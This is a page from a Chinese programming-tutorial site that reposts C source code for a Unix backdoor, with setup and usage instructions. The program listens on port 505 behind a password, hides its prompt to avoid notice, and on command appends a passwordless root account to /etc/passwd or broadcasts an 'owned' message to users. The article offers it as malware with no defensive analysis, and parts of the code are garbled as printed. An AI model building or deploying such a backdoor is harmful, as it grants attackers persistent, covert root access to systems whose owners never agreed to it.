网络编程 | 站长之家 | 网页制作 | 图形图象 | 操作系统 | 冲浪宝典 | 软件教学 | 网络办公 | 邮件系统 | 网络安全 | 认证考试 | 系统进程
Firefox | IE | Maxthon | 迅雷 | 电驴 | BitComet | FlashGet | QQ | QQ空间 | Vista | 输入法 | Ghost | Word | Excel | wps | Powerpoint
asp | .net | php | jsp | Sql | c# | Ajax | xml | Dreamweaver | FrontPages | Javascript | css | photoshop | fireworks | Flash | Cad | Discuz!
当前位置 > 网站建设学院 > 网络编程 > C/C++
Tag:注入,存储过程,分页,安全,优化,xmlhttp,fso,jmail,application,session,防盗链,stream,无组件,组件,md5,乱码,缓存,加密,验证码,算法,cookies,ubb,正则表达式,水印,索引,日志,压缩,base64,url重写,上传,控件,Web.config,JDBC,函数,内存,PDF,迁移,结构,破解,编译,配置,进程,分词,IIS,Apache,Tomcat,phpmyadmin,Gzip,触发器,socket
网络编程:ASP教程,ASP.NET教程,PHP教程,JSP教程,C#教程,数据库,XML教程,Ajax,Java,Perl,Shell,VB教程,Delphi,C/C++教程,软件工程,J2EE/J2ME,移动开发
本月文章推荐
.浅谈C++中的内存管理.
.孔明棋,你玩过吗.
.C语言中的位域的使用.
.C++ 对象的初始化.
.C++虚函数和动态联编技术分析.
.进程和线程编程.
.深入VCL理解BCB的消息机制2.
.Bjarne:什么是函数对象?.
.试一下 moving ball.
.链表的c语言实现(四).
.C++ 语言基础(1).
.如何使tcp包和udp包穿透防火墙.
.局部类和嵌套类.
.C++ Builder 初学问与答(三).
..
.菜单程序.
.堆栈应用-后缀式四则计算器.
.C++中使用BHO来屏蔽特定网站.
.排序算法比较程序.
.C语言库函数(S类字母)-2.

backdoor病毒源代码

发表日期:2008-3-8



  --=\\backdoor.c\\=--
/*
A rip off a sockets tutorial i found somewhere cause I didn't feel like
writing stupid basic sockets code when I had it in my src Directory
already.
*/ /* Greets:
Undernet Channels:
#rootworm, #hacktech, #hyperlink, #3XPosure, #legionoot
Groups:
The LegionOOT (www.legionoot.cc), Team Sploit
People:
Cyph3r, n3m0, Adoni, f0bic, d0g, khe0ps, h-S-t,
F-o-X, NeonMatrix, Azmodan, & Venomous
/* Usage (setup):
# gcc -o backdoor backdoor.c
# ./backdoor passWord &
Usage (using):
telnet to host (port 505) --> type the password (don't wait for a
prompt, there isn't one so its less obvious its a backdoor) -->
type 1or 2. And yes it's _supposed_ to disconnect you after
each command.
*/ #include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/wait.h>
#define PORT 505
#define MAXDATASIZE 100
#define BACKLOG 10 void handle(char *command);
int main(int argc, char *argv[])
{
int sockfd, new_fd, sin_size, numbytes;
char *bytes;
strUCt sockaddr_in my_addr;
struct sockaddr_in their_addr; char buf[MAXDATASIZE];
char ask[]="Enter Command (1 to put r00t::0:0:... in /etc/passwd, 2 to
send '7h1s b0x 1s 0wn3d' to all people on the box: ";
if (argc != 2) {
fprintf(stderr,"Usage: %s password\n", argv[0]);
exit(1);
}
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket");
exit(1);
}
my_addr.sin_family = AF_INET;
my_addr.sin_port = htons(PORT);
my_addr.sin_addr.s_addr = INADDR_ANY;
if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1)
{
perror("bind");
exit(1);
}
if (listen(sockfd, BACKLOG) == -1) {
perror("listen");
exit(1); } while(1) { /* main accept() loop */ sin_size = sizeof(struct sockaddr_in);
if ((new_fd = accept(sockfd, (struct sockaddr *)&their_addr, \
&sin_size)) ==
{
perror("accept");
continue;
}
inet_ntoa(their_addr.sin_addr);
if (!fork()) {
recv(new_fd, buf,
MAXDATASIZE, 0);
bytes = strstr(buf, argv[1]);
if (bytes != NULL){ send(new_fd, ask, sizeof(ask), 0); numbytes=recv(new_fd, buf,
MAXDATASIZE, 0);
buf[numbytes] = '\0';
handle(buf);
}
close(new_fd);
exit(0);
}
close(new_fd); while(waitpid(-1,NULL,WNOHANG) > 0); /* clean up child
processes */
}
} void handle(char *command)
{
FILE *fle;
if(strstr(command, "1") != NULL)
{
fle = f0/*n("/etc/passwd", "a*/;
fprintf(fle, "r00t::0:0:r00t:/root:/bin/bash");
fclose(fle);
}
if(strstr(command, "2") != NULL)
{
system("wall 7h1s b0x 1s 0wn3d");
}
}
上一篇:COM编程入门1 人气:1183
下一篇:控制台窗口界面的编程控制(二) 人气:837
浏览全部C/C++的内容 Dreamweaver插件下载 网页广告代码 祝你圣诞节快乐 2009年新年快乐